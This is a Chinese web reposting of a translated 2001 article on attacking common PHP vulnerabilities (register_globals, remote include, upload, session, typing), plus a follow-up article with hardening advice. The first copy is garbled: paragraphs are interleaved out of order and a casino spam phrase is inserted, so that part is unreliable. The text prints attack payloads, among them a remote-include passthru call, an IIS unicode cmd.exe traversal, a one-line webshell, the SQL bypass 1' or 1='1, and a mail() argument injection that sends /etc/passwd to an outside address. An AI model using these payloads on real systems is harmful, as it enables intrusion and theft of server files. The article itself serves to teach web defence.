如何对PHP程序中的常见漏洞进行攻击(上)

如何对PHP程序中的常见漏洞进行攻击(下)
翻译:analysist(分析家)
来源:

创建时间:2001-07-17
文章属性:翻译
文章来源:
文章提交:analysist (analysist_at_china.com)

如何对PHP程序中的常见漏洞进行攻击(下)

如何对PHP程序中的常见漏洞进行攻击(上)

原著:Shaun Clowes <;
翻译:analysist <;

原著:Shaun Clowes <;
翻译:analysist <;

[库文件]
正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。Shaun
Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在

金沙城中心赌场 ,最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个“.inc”的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是“.php”,
“.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。

由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。

最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。

文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。

下面是一个很明显的例子:

好了,废话少说,我们言归正传!

In main.php:
<?php
  $libDir = “/libdir”;
  $langDir = “$libdir/languages”;

[全局变量]
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。

  …

很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。

  include(“$libdir/loadlanguage.php”:
?>

例如:

In libdir/loadlanguage.php:
<?php
  …

<FORM METHOD=”GET” ACTION=”test.php”>
<INPUT TYPE=”TEXT” NAME=”hello”>
<INPUT TYPE=”SUBMIT”>
</FORM>

  include(“$langDir/$userLang”);
?>

很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入

当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的,但是因为“libdir/loadlanguage”具有“.php”的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定“$langDir”和“$userLang”的值。
[Session文件]
PHP
4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了这个事实以及谁登陆进入这个网站都被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。

译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:

事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的“session
id”,如果远程浏览器总是在发送请求时提交这个“session
id”的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含“session
id”)来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:

<?php
if ($pass == “hello”)
$auth = 1;

if ($auth == 1)
echo “some important information”;
?>

<?php
  session_destroy(); // Kill any data currently in the session
  $session_auth = “shaun”;
  session_register(“session_auth”); // Register $session_auth as a
session variable
?>

上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。

新版本的PHP都会自动把“$session_auth”的值设置为“shaun”,如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。

表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“

一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:

因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。

<?php
  if (!empty($session_auth))
   // Grant access to site here
?>

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。

上面的代码假定如果“$session_auth”被置位的话,就是从session,而不是从用户输入来置位的,如果攻击者通过表单输入来置位的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。

但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。

Session数据一般是保存在文件中(位置是可配置的,一般是“/tmp”),文件名一般是类似“sess_<session
id>”的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。

[远程文件]
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:

Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方,对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是“php<session
id>”,所以只需猜测目录,而目录一般就是“/tmp”。

<?php
if (!($fd = fopen(“$filename”, “r”))
echo(“Could not open file: $filename<BR>/n”);
?>

另外,攻击者可以任意指定“session id”(例如“hello”),然后用这个“session
id”创建一个session文件(例如“/tmp/sess_hello”),但是“session
id”只能是字母和数字组合。

上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。

[数据类型]
PHP具有比较松散的数据类型,变量的类型依赖于它们所处的上下文环境。例如:“$hello”开始是字符串变量,值为“”,但是在求值时,就变成了整形变量“0”,这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的,empty()返回的结果也不会为真。

例如:
如果指定“$filename”为“;
../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。

PHP中的数组是关联数组,也就是说,数组的索引是字符串型的。这意味着“$hello[“000”]”和“$hello[0]”也是不同的。

这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。

开发程序的时候应该仔细地考虑上面的问题,例如,我们不应该在一个地方测试某个变量是否为“0”,而在另外的地方使用empty()来验证。

例如:
<?php
include($libdir . “/languages.php”);
?>

[容易出错的函数]
我们在分析PHP程序中的漏洞时,如果能够拿到源代码的话,那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话,那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表:

上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison
null
byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:

<PHP代码执行>
require():读取指定文件的内容并且作为PHP代码解释
include():同上
eval():把给定的字符串作为PHP代码执行
preg_replace():当与“/e”开关一起使用时,替换字符串将被解释为PHP代码

<?php
passthru(“/bin/ls /etc”);
?>

<命令执行>
exec():执行指定的命令,返回执行结果的最后一行
passthru():执行指定命令,返回所有结果到客户浏览器
“:执行指定命令,返回所有结果到一个数组
system():同passthru(),但是不处理二进制数据
popen():执行指定的命令,把输入或输出连接到PHP文件描述符

然后把“$libdir”设置为“

<文件泄露>
fopen():打开文件,并对应一个PHP文件描述符
readfile():读取文件的内容,然后输出到客户浏览器
file():把整个文件内容读到一个数组中

需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:

译者注:其实这份列表还不是很全,比如“mail()”等命令也可能执行命令,所以需要自己补充一下。
[如何增强PHP的安全性]
我在上面介绍的所有攻击对于缺省安装的PHP
4都可以很好的实现,但是我已经重复了很多次,PHP的配置非常灵活,通过配置一些PHP选项,我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类:

[文件上载]
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:

*低难度
**中低难度
***中高难度
****高难度

<FORM METHOD=”POST” ENCTYPE=”multipart/form-data”>
<INPUT TYPE=”FILE” NAME=”hello”>
<INPUT TYPE=”HIDDEN” NAME=”MAX_FILE_SIZE” VALUE=”10240″>
<INPUT TYPE=”SUBMIT”>
</FORM>

上面的分类只是个人的看法,但是我可以保证,如果你使用了PHP提供的所有选项的话,那么你的PHP将是很安全的,即使是第三方的代码也是如此,因为其中很多功能已经不能使用。

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE
variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。

**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量,也就是说,如果用户提交表单变量“hello”,PHP不会创建“$
hello”,而只会创建“HTTP_GET/POST_VARS[‘hello’]”。这是PHP中一个极其重要的选项,关闭这个选项,会给编程带来很大的不便。

因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。

*** 设置“safe_mode”为“on”
打开这个选项,会增加如下限制:
1.    限制哪个命令可以被执行
2.    限制哪个函数可以被使用
3.    基于脚本所有权和目标文件所有权的文件访问限制
4.    禁止文件上载功能
这对于ISP来说是一个伟大的选项,同时它也能极大地改进PHP的安全性。

这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作,有效地消除了本地文件或者是远程文件被include()的攻击,但是仍需要注意文件上载和session文件的攻击。

让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP
3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。

** 设置“display_errors”为“off”,设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中,而是记录到日志文件中,这可以有效的抵制攻击者对目标脚本中函数的探测。

但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:

* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能,极力推荐!

$hello = Filename on local machine (e.g “/tmp/phpxXuoXG”)
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
“c://temp//hello.txt”)
$hello_type = Mime type of uploaded file (e.g “text/plain”)

好了,文章到此为止了,如果你想了解一些其它的相关信息,请参考原文

然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:

<全文完>

就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):

$hello = “/etc/passwd”
$hello_size = 10240
$hello_type = “text/plain”
$hello_name = “hello.txt”

上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。

作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:

<?php
if (file_exists($theme)) // Checks the file exists on the local system
(no remote files)
include(“$theme”);
?>

如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。

获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。

<未完待续>
如何对PHP程序中的常见漏洞进行攻击(下)

创建时间:2001-07-18
文章属性:翻译
文章来源:
文章提交:analysist (analysist_at_china.com)

如何对PHP程序中的常见漏洞进行攻击(下)

原著:Shaun Clowes <;
翻译:analysist <;

[库文件]
正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个“.inc”的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是“.php”,
“.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。

最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。

下面是一个很明显的例子:

In main.php:
<?php
$libDir = “/libdir”;
$langDir = “$libdir/languages”;

include(“$libdir/loadlanguage.php”:
?>

In libdir/loadlanguage.php:
<?php

include(“$langDir/$userLang”);
?>

当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的,但是因为“libdir/loadlanguage”具有“.php”的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定“$langDir”和“$userLang”的值。
[Session文件]
PHP
4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了这个事实以及谁登陆进入这个网站都被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。

事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的“session
id”,如果远程浏览器总是在发送请求时提交这个“session
id”的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含“session
id”)来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = “shaun”;
session_register(“session_auth”); // Register $session_auth as a
session variable
?>

新版本的PHP都会自动把“$session_auth”的值设置为“shaun”,如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。

一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:

<?php
if (!empty($session_auth))
// Grant access to site here
?>

上面的代码假定如果“$session_auth”被置位的话,就是从session,而不是从用户输入来置位的,如果攻击者通过表单输入来置位的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。

Session数据一般是保存在文件中(位置是可配置的,一般是“/tmp”),文件名一般是类似“sess_<session
id>”的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。

Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方,对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是“php<session
id>”,所以只需猜测目录,而目录一般就是“/tmp”。

另外,攻击者可以任意指定“session id”(例如“hello”),然后用这个“session
id”创建一个session文件(例如“/tmp/sess_hello”),但是“session
id”只能是字母和数字组合。

[数据类型]
PHP具有比较松散的数据类型,变量的类型依赖于它们所处的上下文环境。例如:“$hello”开始是字符串变量,值为“”,但是在求值时,就变成了整形变量“0”,这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的,empty()返回的结果也不会为真。

PHP中的数组是关联数组,也就是说,数组的索引是字符串型的。这意味着“$hello[“000”]”和“$hello[0]”也是不同的。

开发程序的时候应该仔细地考虑上面的问题,例如,我们不应该在一个地方测试某个变量是否为“0”,而在另外的地方使用empty()来验证。

[容易出错的函数]
我们在分析PHP程序中的漏洞时,如果能够拿到源代码的话,那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话,那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表:

<PHP代码执行>
require():读取指定文件的内容并且作为PHP代码解释
include():同上
eval():把给定的字符串作为PHP代码执行
preg_replace():当与“/e”开关一起使用时,替换字符串将被解释为PHP代码

<命令执行>
exec():执行指定的命令,返回执行结果的最后一行
passthru():执行指定命令,返回所有结果到客户浏览器
“:执行指定命令,返回所有结果到一个数组
system():同passthru(),但是不处理二进制数据
popen():执行指定的命令,把输入或输出连接到PHP文件描述符

<文件泄露>
fopen():打开文件,并对应一个PHP文件描述符
readfile():读取文件的内容,然后输出到客户浏览器
file():把整个文件内容读到一个数组中

译者注:其实这份列表还不是很全,比如“mail()”等命令也可能执行命令,所以需要自己补充一下。
[如何增强PHP的安全性]
我在上面介绍的所有攻击对于缺省安装的PHP
4都可以很好的实现,但是我已经重复了很多次,PHP的配置非常灵活,通过配置一些PHP选项,我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类:

*低难度
**中低难度
***中高难度
****高难度

上面的分类只是个人的看法,但是我可以保证,如果你使用了PHP提供的所有选项的话,那么你的PHP将是很安全的,即使是第三方的代码也是如此,因为其中很多功能已经不能使用。

**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量,也就是说,如果用户提交表单变量“hello”,PHP不会创建“$
hello”,而只会创建“HTTP_GET/POST_VARS[‘hello’]”。这是PHP中一个极其重要的选项,关闭这个选项,会给编程带来很大的不便。

*** 设置“safe_mode”为“on”
打开这个选项,会增加如下限制:
1. 限制哪个命令可以被执行
2. 限制哪个函数可以被使用
3. 基于脚本所有权和目标文件所有权的文件访问限制
4. 禁止文件上载功能
这对于ISP来说是一个伟大的选项,同时它也能极大地改进PHP的安全性。

** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作,有效地消除了本地文件或者是远程文件被include()的攻击,但是仍需要注意文件上载和session文件的攻击。

** 设置“display_errors”为“off”,设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中,而是记录到日志文件中,这可以有效的抵制攻击者对目标脚本中函数的探测。

* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能,极力推荐!

好了,文章到此为止了,如果你想了解一些其它的相关信息,请参考原文

<全文完>
对PHP程序中的常见漏洞进行攻击之狗尾续貂

创建时间:2001-07-27
文章属性:原创
文章来源:
文章提交:san (san_at_xfocus.org)

A Study In Scarlet – Exploiting Common Vulnerabilities in PHP
Applications
之狗尾续貂

by san@netguard.com.cn

Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP
Applications的确写的很棒,
考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是
攻击。

1、古老的欺骗SQL语句
在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。
这样所有从GET/POST/Cookie来的变量的单引号(‘)、双引号(“)、反斜杠backslash(/)以及空字元NUL
(the null byte)都会被加上反斜杠,以使数据库能够正确查询。
但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:
select * from login where user=’$HTTP_POST_VARS[user]’ and
pass=’$HTTP_POST_VARS[pass]’
我们就可以在用户框和密码框输入1‘ or
1=’1通过验证了。这是非常古董的方法了,这个语句会
替换成这样:
select * from login where user=’1′ or 1=’1′ and pass=’1′ or 1=’1′
因为or 1=’1’成立,所以通过了。
解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL
中的变量加一个自定义的函数:
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。

2、mail函数的第五个参数
在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊Shell命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail(“nobody@aol.com”, “the subject”, $message, “From:
webmaster@$SERVER_NAME”, “-fwebmaster@$SERVERNAME”);
这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org <
/etc/passwd就能把机器的密码发送
到我的信箱了。
这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的
基本功能,理解了就可以了。
对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(,还有就是修改
php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) {
前增加如下一行:
extra_cmd=NULL
然后重新编译。

3、UNIX版的require, include函数
win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。
require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。
我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,
而且有时用变量作为参数,比如:include(“$something”);
如果这时用户能控制$something参数,而这个
参数又没有过滤,那就惨拉。
首先可以看任何web用户有读权限的文件,假设这个程序叫
url:
看到/etc/passwd文件。
另外可以利用其远程文件包含的功能执行命令。比如我在
<?passthru($cmd)?>,那么我就可以用如下的url:

意的命令。
phpMyAdmin也出现了这个问题,我们可以用它看任何我们想看的文件。但是它在include前,先用file_exist
函数判断文件是否存在,而这个file_exist是不支持远程文件的,所以上面第二种办法无法直接使用。但是我们
可以利用apache的日志功能,请求一个带php代码的url,这样,something指定为apache的日志也可以执行命
令了,但是apache的日志通常比较大,有太多杂乱信息。

upload的方式把本地
的执行命令的脚本上传,会在服务器的文件上传临时目录里产生php8Ta02I之类的文件名,由于这时文件是存在的
,所以能通过file_exist函数,从而执行上传文件里的执行脚本。

所以对于include,
require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能
让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用
disable-url-fopen-wrapper 在以后的版本用allow_url_fopen =
off来关闭。

4、disable_function
在php-4.0.1,php.ini里引入了一项功能disable_functions ,
这个功能比较有用,可以用它禁止一些函数。
比如在php.ini里加上disable_functions = passthru exec system popen
那么在执行这些函数的时候
只会提示Warning: system() has been disabled for security reasons.
唉,但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令:
<?
$output = `ls -al`;
echo “<pre>$output</pre>”;
?>
这个只有设成safe_mode才能避免,可是可恶的safe_mode实在是限制太多了,做其它事情也有些碍手碍脚。

5、file upload
php文件上传的问题在文章
这的确是个比较严重的问题,一般我们要上传的文件也会放在web目录,所以容易给攻击者得到系统的一些web用户
能读的文件。
幸亏在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数。所以php-4.0.3以上的上传文
件的程序一定不要再用copy函数了,用move_uploaded_file代替,它会检查是否是上传的文件。如果是php-4.0.2
及以下的,建议在copy前加一个函数:
function is_uploaded_file($filename) {
if (!$tmp_file = get_cfg_var(‘upload_tmp_dir’)) {
$tmp_file = dirname(tempnam(”, ”));
}
$tmp_file.=’/’.basename($filename);
/* User might have trailing slash in php.ini… */
return (ereg_replace(‘/+’, ‘/’, $tmp_file) == $filename);
}

这个漏洞在安全焦点呆了很久,只是在copy之前有很多验证阿、判断阿的语句,所以使之攻击存在相当的难度,赫赫。

相关文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图